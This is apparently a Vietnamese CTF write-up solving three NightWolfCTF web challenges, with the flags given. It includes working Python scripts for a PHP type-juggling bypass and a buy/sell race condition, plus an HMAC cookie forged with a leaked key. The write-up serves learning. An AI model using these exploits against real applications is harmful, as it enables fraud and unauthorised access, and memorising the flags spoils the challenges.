# Web challenges
## 1. Lottery

<br>
Khi ấn vào chơi thì phải tạo account

<br>

Mỗi account có `20$` làm vốn 😂
<br>

Mỗi lần mua mất `2$`

Bởi vì mình có hai số `1` ở hai vị trí giống với `winning numbers` nên được `+5$`
<br>

Có vẻ như là phải kiếm đủ tiền thì mới mua flag được
Sau một hồi chơi trò này thì mình khuyên là nếu ai có ý định dấn thân vào lô đề thì bỏ đi nhé 😪
<br>

Quay trở lại chall thì có thể thấy rằng `numbers` mình chọn được truyền dưới dạng `json`
Sau đó sẽ so sánh từng số trong `numbers` với `winning numbers` (ở trên mình có mua thử 2 cái, các bạn có thể xem lại)
<br>
Stuck một hồi lâu thì btc có đưa hint là `có thể vay tiền từ TypeJuggling88`
Vậy là mình hiểu ra ngay bài này dùng `TypeJunggling` để so sánh (còn `88` ở sau là chắc ẩn ý đến một nhà cái nào đó uy tín 😂)

Mình có thử dùng `true` để so sánh với số hoặc với char thì nó luôn đúng
Lợi dụng điều này mình truyền vào một mảng gồm 7 phần tử và mỗi phần tử là giá trị boolean `true`

Ú là la được hẳn `200000$`, vậy là thành công rồi

Hoặc là thay vì truyền vào mảng thì mình truyền vào một `json` với 7 cặp key-value với key từ 0 -> 6 và value là `true`
Mình viết script để làm cho nhanh
```
#!/usr/bin/env python
import requests
from threading import Thread
url = 'http://152.67.127.64:8002/'
cookie = {"PHPSESSID": "575a9d3231cbcb2bb219e7623ad2937b"}
header = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/json",
}
json_data = {
"action": "buy",
"numbers": {
"0":True,
"1":True,
"2":True,
"3":True,
"4":True,
"5":True,
"6":True
}
}
def cheat_money():
while True:
res = requests.post(url + '/api.php', headers=header, cookies=cookie, json=json_data)
money = res.json().get("money", None)
print(money)
if money > 99999999999:
print("Du tien roi, mua flag thoi")
break
threads = [Thread(target = cheat_money) for i in range(10)]
for thread in threads:
thread.start()
```
<br>
Sau một hồi chờ đợi thì

Mua flag thôi

Flag: ~~**`NightWolfCTF{l4m_g14u_kh0ng_kh0}`**~~
</br>
## 2. Iq test

</br>
Ok đề bảo sao làm vậy thôi 😂





Câu 5 này hơi sai 🙄
<br>
Mình có inspect xem thử và thấy có một endpoint là `secret.css`
Vô xem thử

Mình có nghía thử cookie

Có vẻ như là value của `level` được hash bằng `HMAC-SHA256` với secret-key là `NightWolfCTF`
<br>
Sau một hồi mò plain text value của `level` trước khi hash thì mình cũng tìm ra
`level:level5`
Quay lại đọc đề (Ai thông minh hơn học sinh lớp 5) và hint (học sinh lớp 6)
Thì mình khá chắc là flag đang ở `level6`
<br>
Tiến hành generator hash `HMAC-SHA256` của plain text `level6` và secret-key `NightWolfCTF`
`level:70f184d9c055839f1b23a2c0e88622a8a30df60e4754afcdad820b916410953e`

Ú là la

Flag: ~~**`NightWolfCTF{M1sc0nfig_EVERYWHERE_!!!_}`**~~
</br>
## 3. Flea market

Cứ register và login vô thử xem sao

</br>

Sau một hồi nghịch linh tinh thì mình đoán có thể giải bài này bằng `race conditions`
script:
```
#!/usr/bin/env python
from threading import Thread
import requests
url = 'http://152.67.127.64:8013/'
cookie = {"token": "22b7d502-42e8-4f8b-95eb-3c80981a6bb9"}
def buy():
while True:
res = requests.post(url + 'buy/2', cookies=cookie)
def sell():
while True:
res = requests.post(url + 'sell/1', cookies=cookie)
for i in range(5):
thread1 = Thread(target = buy)
thread2 = Thread(target = sell)
thread1.start()
thread2.start()
```
Giải thích sơ qua chỗ `buy/2` và `sell/1`
Ở đây là buy và sell theo `id`
Mình buy `Scooter` với `id` của nó là 2 và sell nó với `id` là 1
Chạy xong thì F5 lại ta được

Sell đi và thế là đủ tiền mua flag

</br>
Flag: ~~**`NightWolfCTF{Y0u_4re_4_lucky_guy}`**~~